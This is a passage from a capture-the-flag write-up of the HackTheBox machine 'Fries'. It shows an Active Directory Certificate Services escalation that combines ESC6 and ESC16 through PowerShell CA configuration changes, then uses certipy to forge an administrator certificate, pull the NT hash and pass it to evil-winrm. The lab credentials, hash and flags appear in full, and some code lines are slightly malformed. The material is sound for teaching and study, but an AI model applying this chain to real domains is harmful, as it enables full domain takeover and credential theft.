Allow Enroll FRIES\Domain Computers S-1-5-21-858338346-3861030516-3975240472-515
Allow ManageCA, ManageCertificates FRIES\Enterprise Admins S-1-5-21-858338346-3861030516-3975240472-519
Allow ManageCA, Enroll FRIES\gMSA_CA_prod$ S-1-5-21-858338346-3861030516-3975240472-1104
Enrollment Agent Restrictions : None

Enabled Certificate Templates:
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator





Certify completed in 00:00:34.6729284

Summarising what matters here:

1
2
3
4
5
- `gMSA_CA_prod$` has ManageCA and Enroll rights

- The account can manage the CA but does not have enrollment rights on most templates

- Accessible templates: Machine (for Domain Computers), User (forDomain Users)

UserSpecifiedSAN is currently Disabled, which normally blocks the classic ESC6 attack. But we hold ManageCA, and ManageCA is precisely the right to change that setting.

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

The principle behind ESC6 is that when the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set on the CA policy module, any certificate request may specify an arbitrary Subject Alternative Name, regardless of what the template allows. That turns every enrollable template into an impersonation primitive.

We can flip the flag through the CertificateAuthority.Admin COM object:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# Using CertificateAuthority.Admin COM object



$CA = New-Object -ComObject CertificateAuthority.Admin

$Config = "DC01.fries.htb\fries-DC01-CA"

# Calculate the new value

$current = 1114446  # Current value

$new = $current -bor 0x00040000

# Add EDITF_ATTRIBUTESUBJECTALTNAME2 flag (262144)

# New value = 1376590 (0x15014E) # Apply modification

$CA.SetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags", $new)

# Restart CA service
Restart-Service certsvc -Force

Running it and verifying with certutil:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $CA = New-Object -ComObject CertificateAuthority.Admin
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $Config = "DC01.fries.htb\fries-DC01-CA"
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $current = 1114446
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $new = $current -bor 0x00040000
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $CA.SetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags", $new)
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> Restart-Service certsvc -Force
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>
certutil -config "DC01.fries.htb\fries-DC01-CA" -getreg policy\EditFlags
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\fries-DC01-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags:

EditFlags REG_DWORD = 15014e (1376590)
EDITF_REQUESTEXTENSIONLIST -- 2
EDITF_DISABLEEXTENSIONLIST -- 4
EDITF_ADDOLDKEYUSAGE -- 8
EDITF_BASICCONSTRAINTSCRITICAL -- 40 (64)
EDITF_ENABLEAKIKEYID -- 100 (256)
EDITF_ENABLEDEFAULTSMIME -- 10000 (65536)
EDITF_ATTRIBUTESUBJECTALTNAME2 -- 40000 (262144)
EDITF_ENABLECHASECLIENTDC -- 100000 (1048576)
CertUtil: -getreg command completed successfully.
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

The flag is set.

ESC16 — Disable Extension List

ESC6 alone isn’t enough on a patched CA. Since the certificate strong-mapping hardening, the CA embeds szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) into issued certificates carrying the requester’s real SID, and the KDC checks that the SID matches the account the certificate claims to be. Our forged SAN would be rejected at authentication time.

ESC16 is the answer to that. Adding the OID to DisableExtensionList tells the CA to stop embedding and validating that extension entirely:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

$CA = New-Object -ComObject CertificateAuthority.Admin

$Config = "DC01.fries.htb\fries-DC01-CA"

# Disable validation of extension 1.3.6.1.4.1.311.25.2 (szOID_NTDS_CA_SECURITY_EXT)



CA.SetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "DisableExtensionList", "1.3.6.1.4.1.311.25.2")



# Restart CA



service Restart-Service certsvc -Force
1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $CA = New-Object -ComObject CertificateAuthority.Admin
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $Config = "DC01.fries.htb\fries-DC01-CA"

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $CA.SetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "DisableExtensionList", "1.3.6.1.4.1.311.25.2")

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> Restart-Service certsvc -Force
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>
certutil -config "DC01.fries.htb\fries-DC01-CA" -getreg policy\DisableExtensionList
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\fries-DC01-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\DisableExtensionList:

DisableExtensionList REG_SZ = 1.3.6.1.4.1.311.25.2
CertUtil: -getreg command completed successfully.

So why exactly these two together?

  • ESC6 allows specifying an arbitrary UPN (e.g., administrator@fries.htb ) in the certificate

  • ESC16 prevents SID validation in the certificate, allowing identity impersonation Combined, they allow requesting a certificate for any user

Requesting the Administrator Certificate

There’s one more wrinkle. The gMSA_CA_prod$ account can configure the CA but can’t actually enroll on anything useful:

  • Can configure the CA (ManageCA)

  • Cannot enroll on the User template (is not in Domain Users)

  • Could enroll on Machine (is in Domain Computers) but requires SYSTEM rights

The solution is to split the roles. We use gMSA_CA_prod$ to weaken the CA, then use svc_infra to actually request the certificate, since it is a normal user:

  • Is a normal user (probably in Domain Users) Can enroll on the User template Can request a certificate with alternative UPN thanks to ESC6

Kerberos is sensitive to clock skew and the nmap scan already warned us about a seven hour difference, so let’s sync our time to the DC first:

1
sudo ntpdate 10.129.70.58

Now we request a certificate on the User template as svc_infra, but supply the administrator’s UPN and SID:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

$ certipy-ad req -u '[email protected]' -p 'm6tneOMAh5p0wQ0d' -dc-ip 10.129.70.58 -ca 'fries-DC01-CA' -template 'User' -upn '[email protected]' -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 41
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'


$ sudo ntpdate 10.129.70.58;certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.70.58
2025-11-25 11:48:05.306302 (-0500) +25174.475851 +/- 0.113111 10.129.70.58 s1 no-leap
CLOCK: time stepped by 25174.475851
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN UPN: '[email protected]'
[*] SAN URL SID: 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748



The certificate authenticates, we get a TGT as the domain administrator and Certipy uses U2U to pull the NT hash out for us.

User and Root Flags

Pass the hash into WinRM and both flags are sitting on the administrator’s desktop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ 
evil-winrm -i 10.129.70.58 -u 'administrator' -H a773cb05d79273299a684a23ede56748

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> ls


Directory: C:\Users\Administrator\desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 11/24/2025 11:59 PM 34 root.txt
-ar--- 11/24/2025 11:59 PM 34 user.txt


*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
d3eb77ea3e8a23087cfff717856dbda5
*Evil-WinRM* PS C:\Users\Administrator\desktop> cat user.txt
ce2601c397f0ea342c4799d0c0c95951
*Evil-WinRM* PS C:\Users\Administrator\desktop>

And that was it for Fries! Easily one of the most layered chains I’ve done, going from a leaked git commit and a pgAdmin eval() bug, through two container hops, an NFS export escape that handed us a Docker CA private key, a forged TLS client identity to talk to dockerd, a redirected LDAP bind to steal a domain account, and finally an ESC6 + ESC16 combination that turned ManageCA into Domain Admin. Hope you liked this writeup!

-0xkujen

  • Title: Hackthebox: Fries
  • Author: Foued SAIDI
  • Created at : 2026-07-30 19:36:21
  • Updated at : 2026-07-30 19:54:34
  • Link: https://kujen5.github.io/2026/07/30/Hackthebox-Fries/
  • License: This work is licensed under CC BY-NC-SA 4.0.